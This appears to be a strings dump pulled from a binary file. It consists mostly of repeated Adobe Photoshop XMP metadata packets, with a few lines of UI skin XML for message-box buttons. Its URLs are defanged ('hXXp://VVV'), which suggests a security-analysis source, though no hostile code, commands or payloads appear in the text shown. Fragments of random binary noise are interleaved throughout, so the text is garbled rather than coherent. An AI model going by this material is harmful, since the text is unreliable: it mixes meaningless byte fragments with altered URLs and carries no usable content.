" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:676AFE85C45D11E39F81C6907077B27B" xmpMM:InstanceID="xmp.iid:676AFE84C45D11E39F81C6907077B27B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92906904-62de-ee4f-b8e3-86b9fbefdcf0" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>[j
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:A48A2296BA4311E388F9D7A2CBD50436" xmpMM:InstanceID="xmp.iid:A48A2295BA4311E388F9D7A2CBD50436" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e87d4ecd-381d-cd4b-bc67-cf3ae2d8c491" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:8A9AB3700045E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:962C10CB278F11E49EAA9CD2785EF8D6" xmpMM:InstanceID="xmp.iid:962C10CA278F11E49EAA9CD2785EF8D6" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:70486ead-d6fd-2444-a456-bf16f8d11fbb" stRef:documentID="xmp.did:4743F3CD450211E3BFE287E4121697C3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:CBF98CC2281211E48D5CAA05E802197A" xmpMM:InstanceID="xmp.iid:CBF98CC1281211E48D5CAA05E802197A" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:d9dbb265-c803-634d-9d1d-0b1530103ec9" stRef:documentID="xmp.did:0027389EBA1111E3944690DE2E6A82D7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:E3047613278511E4B96BDECB66E60B7F" xmpMM:InstanceID="xmp.iid:E3047612278511E4B96BDECB66E60B7F" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:001536FCBA1111E3944690DE2E6A82D7" stRef:documentID="xmp.did:001536FDBA1111E3944690DE2E6A82D7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:EA0B1E1A278511E4B460875BA0C8050A" xmpMM:InstanceID="xmp.iid:EA0B1E19278511E4B460875BA0C8050A" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:001536F8BA1111E3944690DE2E6A82D7" stRef:documentID="xmp.did:001536F9BA1111E3944690DE2E6A82D7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:7C0AA9F5F24FE311B3D1D92FC7911CF5" xmpMM:DocumentID="xmp.did:6462DB82BB0011E3AF7B8D481A6FC72C" xmpMM:InstanceID="xmp.iid:6462DB81BB0011E3AF7B8D481A6FC72C" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:083B4589BA66E3119F56DD1C3B6228B3" stRef:documentID="xmp.did:7C0AA9F5F24FE311B3D1D92FC7911CF5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:4AE785B6326E11E49D3FC9AFEB210652" xmpMM:InstanceID="xmp.iid:4AE785B5326E11E49D3FC9AFEB210652" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f0fef70a-cd4e-bc4c-a807-0f135c27018d" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
.TDJ$
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:4B97504A326E11E49D3FC9AFEB210652" xmpMM:InstanceID="xmp.iid:4B975049326E11E49D3FC9AFEB210652" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f0fef70a-cd4e-bc4c-a807-0f135c27018d" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:4A82CF04326E11E49D3FC9AFEB210652" xmpMM:InstanceID="xmp.iid:4A82CF03326E11E49D3FC9AFEB210652" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f0fef70a-cd4e-bc4c-a807-0f135c27018d" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:4AE785BA326E11E49D3FC9AFEB210652" xmpMM:InstanceID="xmp.iid:4AE785B9326E11E49D3FC9AFEB210652" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f0fef70a-cd4e-bc4c-a807-0f135c27018d" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>K
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:4AE785BE326E11E49D3FC9AFEB210652" xmpMM:InstanceID="xmp.iid:4AE785BD326E11E49D3FC9AFEB210652" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f0fef70a-cd4e-bc4c-a807-0f135c27018d" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:7D31C17743C911E4B8A0934DC6106D61" xmpMM:InstanceID="xmp.iid:7D31C17643C911E4B8A0934DC6106D61" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6cc4c263-3daa-c045-add6-931e67e04149" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
|a.to
m .UT
c.xt%
>a
%%f{f
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:4A82CF00326E11E49D3FC9AFEB210652" xmpMM:InstanceID="xmp.iid:4A82CEFF326E11E49D3FC9AFEB210652" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f0fef70a-cd4e-bc4c-a807-0f135c27018d" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
<text id="10003" pos="83,45,-10,65" font="0000" crtext="808080"></text>
<text id="10005" pos="50,11" crtext="808080" show="0">
<imgbtn id="10006" class="linkimage" skin="custommsgokbtn" pos="-165,11" show="0"/>
<imgbtn id="10007" class="linkimage" skin="custommsgcancelbtn" pos="-85,11" show="0"/>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:CF88B04A477A11E3AC74D53AB00188EB" xmpMM:DocumentID="xmp.did:CF88B04B477A11E3AC74D53AB00188EB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CF88B048477A11E3AC74D53AB00188EB" stRef:documentID="xmp.did:CF88B049477A11E3AC74D53AB00188EB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>,
2570(.He
p%)<*9.Pb'
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123" xmpMM:DocumentID="xmp.did:4EC5D6035D6711E3B69387839D5CF359" xmpMM:InstanceID="xmp.iid:4EC5D6025D6711E3B69387839D5CF359" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6A3657D6605DE311AB08A0DB0D39577F" stRef:documentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>-X
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:134A8CAE446611E4A835D74E3684B65F" xmpMM:InstanceID="xmp.iid:134A8CAD446611E4A835D74E3684B65F" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:80AF760E446311E4B0A99EBD687869D2" stRef:documentID="xmp.did:80AF760F446311E4B0A99EBD687869D2"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
T)%S:
X.FbZ
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5CFBDFEE6B48E31183E7E5E3E1016411" xmpMM:DocumentID="xmp.did:3B0B48CCB3F611E3BC1AA6D2D3AF2975" xmpMM:InstanceID="xmp.iid:3B0B48CBB3F611E3BC1AA6D2D3AF2975" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:c7b725d2-f470-d047-b657-1b77726b7274" stRef:documentID="xmp.did:5CFBDFEE6B48E31183E7E5E3E1016411"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Ez
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:448A72C96748E31183E7E5E3E1016411" xmpMM:DocumentID="xmp.did:A20E9D56279211E494D39E5910CD6BB8" xmpMM:InstanceID="xmp.iid:A20E9D55279211E494D39E5910CD6BB8" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:efdcc923-3a63-6043-95fa-f7386ea5aa78" stRef:documentID="xmp.did:46676BB5B3F811E3B10CF22DB02AB636"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>h
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123" xmpMM:DocumentID="xmp.did:614C513A5BE311E3A82DE3BEB6D30D6A" xmpMM:InstanceID="xmp.iid:614C51395BE311E3A82DE3BEB6D30D6A" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ba67187f-a3c9-4e4a-9851-f19c2ca981c6" stRef:documentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:3BF1B87D279311E4911FBA1B368149E8" xmpMM:InstanceID="xmp.iid:3BF1B87C279311E4911FBA1B368149E8" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:033f9e5f-1e3b-f645-8e8b-43ad373cf9c5" stRef:documentID="xmp.did:9377102A410F11E3B2B7E62FF74B60EE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
E MbO.tY';
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123" xmpMM:DocumentID="xmp.did:7DB846D45BE311E38C9296DC3762BB78" xmpMM:InstanceID="xmp.iid:7DB846D35BE311E38C9296DC3762BB78" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ba67187f-a3c9-4e4a-9851-f19c2ca981c6" stRef:documentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
!.xp9
fpÛ\
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:2BF3AADC5B6811E4B4EDFB52F2DFABE5" xmpMM:InstanceID="xmp.iid:2BF3AADB5B6811E4B4EDFB52F2DFABE5" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f27ac93b-4e8e-714d-8025-6b95f1e71870" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:2B3C60E65B6811E4B4EDFB52F2DFABE5" xmpMM:InstanceID="xmp.iid:2B3C60E55B6811E4B4EDFB52F2DFABE5" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f27ac93b-4e8e-714d-8025-6b95f1e71870" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>?
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:2B3C60EA5B6811E4B4EDFB52F2DFABE5" xmpMM:InstanceID="xmp.iid:2B3C60E95B6811E4B4EDFB52F2DFABE5" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f27ac93b-4e8e-714d-8025-6b95f1e71870" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:2BF3AAD85B6811E4B4EDFB52F2DFABE5" xmpMM:InstanceID="xmp.iid:2BF3AAD75B6811E4B4EDFB52F2DFABE5" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f27ac93b-4e8e-714d-8025-6b95f1e71870" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>U
